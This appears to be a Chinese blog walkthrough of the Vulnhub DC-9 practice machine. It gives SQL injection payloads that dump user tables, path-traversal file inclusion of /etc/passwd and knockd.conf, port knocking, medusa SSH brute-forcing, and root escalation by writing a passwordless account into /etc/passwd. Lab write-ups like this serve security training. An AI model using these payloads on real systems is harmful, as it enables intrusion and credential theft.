Vulnhub-DC-9
(1)

nmap 扫描获取目标 IP 地址
a19d186e0549e59f5e0148c0ab4fcd6.png

nmap 扫描目标 IP 地址获得开放端口:
cf061a840324c71dd0a7ddfd842515c.png
这里仔细看下,可以看到 22 是 filtered,80 开放,22 是被过滤这就很奇怪,针对这个,首先你得看下这篇文章:
保护 SSH 的三把锁
不想看的看下边:(强推看下原文)

简单总结下就是:1.换端口 2.指定用户登入 3.敲门服务
这里重点说下敲门服务就是,你想打开 ssh 大门,打开大门方式是念咒语,你得先去打开其它几扇门才可以打开 SSH 服务,敲门服务必须安装敲门守护进程 knockd,敲门配置在 /etc/knockd.conf 文件

好啦,带着上述知识继续上路吧~

浏览下 web 页面:192.168.67.43
e01f9e47b43130286521c1ae242c224.png

随便点了一下,发现一些账号,可能有用:
fc63aa4ea20d05f21e85f301fe50826.png

Search 搜索 Mary,跳出来的内容是刚刚的一些账号
7673dde1cc29843023ac3445ddd988b.png

尝试加一个单引号,搜索不出,再试试加个 #,页面正常,所以此处有 SQL 注入:
6dd5cfbb37604576f32536b820e0492.png

Mary' order by 7# -- result 0
+Mary' union select 1,2,3,4,5,6#
66b2d12b65b0376a60f706389b10ae5.png

+Mary' union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2,3,4,5,6#
213b054a1a57a18881ad0d0339b1209.png

+Mary' union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='Users'),3,(select group_concat(Username) from Users),(select group_concat(Password) from Users),6#
f708cd694f748c60bde592cc6abbcaa.png

得到用户名和密码:
admin
856f5de590ef37314e7c3bdf6f8a66dc
数一数是32位,可能是 MD5 ,去 MD5 网站解密,找了多家就这家好用
输入让你无语的 MD5
得到密码:transorbital1,登陆网站
427f03ff6ea80dcdc325b77d3f0d492.png

登入之后,细心的你一定可以发现上述 "File does not exit"
猜测存在文件包含漏洞,在 url 地址栏输入:
http://192.168.67.43/manage.php?file=../../../../../../../../../../etc/passwd
a46f6d753f1fffe30daef2328490692.png

但,好像并没有什么乱用欸,也不能像上次那样在日志文件写入 shell,建立连接,那该怎么办呢?可以想到这里有 22 端口等待我们利用呢?但刚刚我们查看数据的时候,好像只有个 admin ,莫非,还有别的东西?

看看还有哪些表没有发现的:

--查询所有数据库
+Mary' union select (select group_concat(table_schema) from information_schema.tables),2,3,4,5,6#
d41a3a915fd9afb6188ee3841f535a7.png
可以看到除了一个 Staff 数据库之外还有一个 users 数据库

--查询 users 数据库下的表
+Mary' union select (select group_concat(table_name) from information_schema.tables where table_schema='users'),2,3,4,5,6#
bb4a80aedbdf65d807769c9a635f64f.png
有一张 UserDetails 表

--查列:
+Mary' union select (select group_concat(column_name) from information_schema.columns where table_schema='users' and table_name='UserDetails'),2,3,4,5,6#
1061b57ab068223d164557725963cb2.png

--查数据:
+Mary' union select (select group_concat(column_name) from information_schema.columns where table_schema='users' and table_name='UserDetails'),(select group_concat(username) from users.UserDetails),3,4,(select group_concat(password) from users.UserDetails),6#
将数据保存得到:
21cf023225ed73d268b4f15a6561955.png
从用户名和密码你会发现这个哥们是,是刷了几遍的《老友记》啊!!!

回到前面,我们发现 SSH 是被过滤的啊,那怎么进去?或者说?怎么打开 SSH 服务?,这就要用到前面的敲门了。
文件包含查看一下密令:
http://192.168.67.43/manage.php?file=../../../../../../../../../../etc/knockd.conf
c6b4119b0be2babecd55123ee75ce6e.png
可以看到,欲打开 SSH 的大门,需敲门:7469,8475,9842

da8612d1d587ea6755f594a1a683703.png

敲门后,SSH 就打开了:
43bff2a6bfe83d3ded5830fd9a4eab1.png
但是这么多用户我们应该用哪个呢?手工一个一个试可行但太慢了,可以用 hydra 或者 medusa
medusa -h 192.168.67.43 -U users.txt -P password.txt
等待爆破完成:
ecec750aef2a508d8abfc1cb9ef79ae.png

可以得到如下账号和密码:这些都是可以拿去 SSH 登陆的
9eb4cd9502aa3f3cd98c7988d41a788.png

分别登录到每个账号:
57f39838d36f58466c7ffb513896b81.png
8c7945c96e3d497568660c98c09ab5b.png
6c1976d3944c7b805420ebab1a133d5.png
每个账号 ls 都没有看到什么东西,那有没有隐藏文件呢?
ls -la
发现其他两个账号都没有 secret 这个目录,只有 janitor 有:
49549b2359182ef6fc7845cef4592e9.png

打开看看:
cd .secrets-for-putin
ls -la
cat passwords-found-on-post-it-notes.txt
得到一些密码:
219dbe6122e59e4bf583c67eb173dd0.png

继续用之前得到的用户跑一下这些密码:
medusa -M ssh -h 192.168.67.43 -U users.txt -P sshdd.txt
得到一个新的账号:

fredf B4-Tru3-001

拿去登陆,这是突破口:)
ls -la 没什么东西,看来到这里就是要提权了。
find -perm -4000:没有东西
枚举一下 sudo 权限:
sudo -l
ba52b108cc462b775ae71c1f58114f9.png
去看看。
cd /opt/devstuff/dist/test
ls -la
cat test
乱码,这是什么类型的文件?采取故意执行报错的方式得知:
./test
66c7e7c7129f0bb505d11706b35f5e7.png

原来是 python 文件,退回到上上层,看到有 test.py:
cat test.py
3a08bf9f5638d2329dff75b322b5fbc.png

可以看到 python 文件后面可以跟两个参数:作用是读取第一个文件的内容写入到第二个文件,而且运行的时候是以 root 权限执行的,什么东西写进去之后可以立马提权的 --- /etc/passwd
模仿 root 写入即可:
echo "r00t::0:0:root:/root:/bin/bash" > /tmp/k.txt
sudo /opt/devstuff/dist/test/test /tmp/k.txt /etc/passwd

ssh r00t@192.168.67.43
478e5958620eddcdcff74a093d94fb9.png

原来必须得要有密钥才可以登陆,否则不可以,我们知道 linux 的加密算法:明文密码和一个叫salt的东西通过函数crypt()完成加密的,我们可以用 openssl 来创建一个名为 r000t 密码为 123 专属 linux 密文:
openssl passwd -1 -salt aa 1234567890
ee8e61da5ceb43194c130e5b4d15c7c.png

cd /root
ls
b1588f39b106b6aa9b324906bb351ce.png

至此完成了 DC 所有系列,well done!

总结:
1.SQL 注入
2.密码破解
3.细心观察
4.linux 写入 /etc/passwd 提权
5.ssh 敲门服务
6.ssh 爆破
7.隐藏文件
8.openssl
本文为作者HD_More发布,未经允许禁止转载!
上一篇 下一篇
评论
暂无评论 >_<
加入评论